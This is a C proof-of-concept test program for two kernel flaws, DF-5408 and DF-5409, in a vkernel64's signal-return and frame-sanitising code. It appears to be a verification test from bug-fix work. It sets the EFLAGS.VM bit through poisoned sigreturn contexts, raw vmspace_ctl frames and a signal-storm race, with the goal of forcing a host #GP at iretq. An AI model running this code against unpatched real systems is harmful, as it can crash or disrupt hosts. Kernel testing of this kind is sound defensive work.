/*
 * DF-5408 / DF-5409 — vkernel64 cpu_regs.c PSL_VM_UNSUPP (EFLAGS.VM) injection
 *
 * DF-5408: sys_sigreturn() (cpu_regs.c:366-369,441) strips PSL_VM_UNSUPP from
 *          the LOCAL `rflags` used for EFL_SECURE validation, but then
 *          bcopy()s the RAW uc_mcontext (mc_rflags with VM still set) into
 *          the trapframe.  The strip is cosmetic; the check never sees the
 *          bit and the install re-adds it.
 * DF-5409: cpu_sanitize_frame() (cpu_regs.c:316) whitelists PSL_VM_UNSUPP in
 *          its rflags mask (host mirror: pc64 machdep.c:916), so the bit
 *          survives BOTH the vkernel's and the host's sanitize and reaches
 *          the host kernel's doreti iretq.  EFLAGS.VM=1 in 64-bit mode is a
 *          guaranteed #GP(0) at the iretq — the exact DF-5335 special case
 *          (IDTVEC(prot) / doreti_iret_fault), converted back to SIGBUS for
 *          the process via vkernel_trap().
 *
 * modes:
 *   0 : control — handler returns with unmodified mcontext
 *   1 : DF-5408 — handler sets mc_rflags |= 0x20000 before returning
 *   2 : DF-5409 — raw vmspace_ctl(VMSPACE_CTL_RUN) frame with rflags.VM=1
 *       (requires vm.vkernel_enable=1 inside the vkernel; proves the
 *        sanitize gap without sigreturn in the chain)
 *   3 : DF-5408 via doreti/iretq — handler sets mc_rflags |= 0x20000 AND
 *       unblocks a pending SIGUSR2, forcing the AST/doreti return path
 *       (the syscall quickret path uses SYSRETQ, which silently masks VM)
 *   4 : control for 3 — same pending/unblocked SIGUSR2, no VM bit
 *   5 : DF-5408 storm — poisoned sigreturns raced against a SIGUSR2
 *       storm thread; collisions set AST at the sigreturn exit ->
 *       doreti -> iretq with VM -> #GP(0) -> SIGBUS
 *   6 : control for 5 — same storm, no VM bit
 *
 * expected (unfixed):  mode 0 -> "SURVIVED sigreturn"
 *                      mode 1 -> "SIGBUS" (host #GP at iretq routed back)
 *                      mode 2 -> "SIGBUS" (same, without sigreturn)
 * expected (fixed):    all modes -> "SURVIVED" (VM stripped silently)
 *
 * build:  cc -static -O -o vmflag vmflag.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <stdint.h>
#include <setjmp.h>
#include <pthread.h>
#include <ucontext.h>

#define	PSL_VM_UNSUPP	0x20000

static int mode = 0;
static volatile sig_atomic_t got_sigbus = 0;
static volatile sig_atomic_t got_other = 0;
static volatile sig_atomic_t storm = 0;

static sigjmp_buf segv_jb;

static void
segv_handler(int sig, siginfo_t *si, void *ucp)
{
	/* nested (empty-vmspace) context faulted at our poison rip:
	 * unwind back to the retry loop (original vmspace is restored
	 * by the kernel's vkernel_trap before delivery) */
	siglongjmp(segv_jb, 1);
}

/* x86_64 trapframe as passed to vmspace_ctl: 25 register_t fields */
struct tf {
	unsigned long r[25];
};
/* r indices: 0 rdi,1 rsi,2 rdx,3 rcx,4 r8,5 r9,6 rax,7 rbx,8 rbp,9 r10,
 *            10 r11,11 r12,12 r13,13 r14,14 r15,15 xflags,16 trapno,
 *            17 addr,18 flags,19 err,20 rip,21 cs,22 rflags,23 rsp,24 ss */
#define TF_RDI   0
#define TF_XFLAGS 15
#define TF_TRAPNO 16
#define TF_ERR  19
#define TF_RIP  20
#define TF_CS   21
#define TF_RFLAGS 22
#define TF_RSP  23
#define TF_SS   24

/* vextframe = struct savetls { struct tls_info info[2]; } = 32 bytes */
struct vf {
	unsigned long b[4];
};

int vmspace_create(void *id, int type, void *data);
int vmspace_ctl(void *id, int cmd, void *tframe, void *vframe);

static void
bus_handler(int sig, siginfo_t *si, void *ucp)
{
	got_sigbus = 1;
	/*
	 * This handler MUST NOT return (returning would re-sigreturn the
	 * still-VM-poisoned mcontext in mode 1 and loop).
	 */
	_exit(42);
}

static void
usr1_handler(int sig, siginfo_t *si, void *ucp)
{
	ucontext_t *uc = ucp;

	if (mode == 1 || mode == 3 || mode == 5) {
		uc->uc_mcontext.mc_rflags |= PSL_VM_UNSUPP;
	}
	if (mode == 3 || mode == 4) {
		/* unblock the pending SIGUSR2 -> forces AST/doreti return */
		sigemptyset(&uc->uc_sigmask);
	}
}

static void
usr2_handler(int sig, siginfo_t *si, void *ucp)
{
	got_other = 1;
	/* control path only; return normally */
}

static unsigned long
read_rflags(void)
{
	unsigned long rf;

	__asm __volatile("pushfq; popq %0" : "=r" (rf));
	return (rf);
}

static void *
storm_thread(void *arg)
{
	int i;

	while (!storm) {
		for (i = 0; i < 1000; ++i)
			kill((pid_t)(intptr_t)arg, SIGUSR2);
		usleep(100);
	}
	return (NULL);
}

int
main(int ac, char **av)
{
	struct sigaction sa;
	char stackbuf[64 * 1024];
	struct tf tf;
	struct vf vf;
	void *cookie = (void *)0x51505409UL;
	int r, i;

	if (ac > 1)
		mode = atoi(av[1]);

	printf("vmflag: mode=%d pid=%d rflags=%lx\n",
	       mode, (int)getpid(), read_rflags());
	fflush(stdout);

	memset(&sa, 0, sizeof(sa));
	sa.sa_sigaction = usr1_handler;
	sa.sa_flags = SA_SIGINFO;
	sigemptyset(&sa.sa_mask);
	if (sigaction(SIGUSR1, &sa, NULL) < 0) {
		printf("sigaction SIGUSR1: %s\n", strerror(errno));
		return (1);
	}
	memset(&sa, 0, sizeof(sa));
	sa.sa_sigaction = usr2_handler;
	sa.sa_flags = SA_SIGINFO;
	sigemptyset(&sa.sa_mask);
	if (sigaction(SIGUSR2, &sa, NULL) < 0) {
		printf("sigaction SIGUSR2: %s\n", strerror(errno));
		return (1);
	}
	memset(&sa, 0, sizeof(sa));
	sa.sa_sigaction = bus_handler;
	sa.sa_flags = SA_SIGINFO;
	sigemptyset(&sa.sa_mask);
	if (sigaction(SIGBUS, &sa, NULL) < 0) {
		printf("sigaction SIGBUS: %s\n", strerror(errno));
		return (1);
	}

	if (mode == 2) {
		int iters = ac > 2 ? atoi(av[2]) : 20000;

		/* DF-5409 direct: install a VM-bit frame via vmspace_ctl,
		 * retrying so that a host timer/IPI occasionally forces the
		 * doreti/iretq (not quickret/SYSRETQ) return path.
		 * The nested vmspace is empty; the #GP at the host iretq
		 * fires before the first nested instruction executes, so
		 * rip validity is irrelevant; iterations that take the
		 * sysret path fault at once on the nested stack and are
		 * caught by segv_handler. */
		r = vmspace_create(cookie, 0, NULL);
		printf("vmflag: vmspace_create = %d errno=%d, loop=%d\n",
		       r, errno, iters);
		fflush(stdout);
		if (r < 0)
			return (1);

		memset(&sa, 0, sizeof(sa));
		sa.sa_sigaction = segv_handler;
		sa.sa_flags = SA_SIGINFO;
		sigemptyset(&sa.sa_mask);
		if (sigaction(SIGSEGV, &sa, NULL) < 0) {
			printf("sigaction SIGSEGV: %s\n", strerror(errno));
			return (1);
		}

		memset(&tf, 0, sizeof(tf));
		tf.r[TF_RIP] = (unsigned long)main;	/* any code addr */
		tf.r[TF_CS] = 0x2b;			/* any UPL cs */
		tf.r[TF_RFLAGS] = 0x246 | PSL_VM_UNSUPP;
		tf.r[TF_RSP] = (unsigned long)(stackbuf + sizeof(stackbuf) / 2);
		tf.r[TF_SS] = 0x33;			/* any UPL ss */
		memset(&vf, 0, sizeof(vf));

		for (i = 0; i < iters; ++i) {
			if (sigsetjmp(segv_jb, 1) == 0) {
				r = vmspace_ctl(cookie,
						1 /* VMSPACE_CTL_RUN */,
						&tf, &vf);
				/* not reached on a #GP iteration */
			}
			/* sysret iteration faulted & longjmp'd, or ctl
			 * returned; either way loop again */
			if ((i % 1000) == 0) {
				printf("vmflag: iter %d\n", i);
				fflush(stdout);
			}
		}
		printf("vmflag: loop DONE - VM never reached an iretq\n");
		fflush(stdout);
		return (0);
	}

	if (mode == 5 || mode == 6) {
		pthread_t tid;

		/* poisoned sigreturn storm vs SIGUSR2 storm */
		if (pthread_create(&tid, NULL, storm_thread,
				   (void *)(intptr_t)getpid()) != 0) {
			printf("pthread_create failed\n");
			return (1);
		}
		usleep(50000);
		for (i = 0; i < 200000; ++i) {
			raise(SIGUSR1);	/* handler poisons (mode 5) or not */
			if ((i % 20000) == 0) {
				printf("vmflag: sigreturn %d\n", i);
				fflush(stdout);
			}
		}
		storm = 1;
		pthread_join(tid, NULL);
		printf("vmflag: SURVIVED storm (mode %d)\n", mode);
		fflush(stdout);
		return (0);
	}

	/* modes 0/1/3/4: poison the sigreturn mcontext from the handler */
	if (mode == 3 || mode == 4) {
		sigset_t blk;

		/* make SIGUSR2 pending-while-blocked, then take SIGUSR1 */
		sigemptyset(&blk);
		sigaddset(&blk, SIGUSR2);
		if (sigprocmask(SIG_BLOCK, &blk, NULL) < 0) {
			printf("sigprocmask: %s\n", strerror(errno));
			return (1);
		}
		raise(SIGUSR2);		/* pending, blocked */
		printf("vmflag: SIGUSR2 pending+blocked; raising SIGUSR1 "
		       "(handler %s mc_rflags, %s SIGUSR2)\n",
		       (mode == 3) ? "SETS VM in" : "leaves",
		       "unblocks");
	} else {
		printf("vmflag: raising SIGUSR1 (handler %s mc_rflags)\n",
		       mode ? "SETS VM in" : "leaves");
	}
	fflush(stdout);
	raise(SIGUSR1);

	/* control path: sigreturn succeeded and we kept executing */
	printf("vmflag: SURVIVED sigreturn, rflags=%lx vm=%d got_usr2=%d\n",
	       read_rflags(),
	       (int)(read_rflags() & PSL_VM_UNSUPP ? 1 : 0),
	       (int)got_other);
	fflush(stdout);
	return (0);
}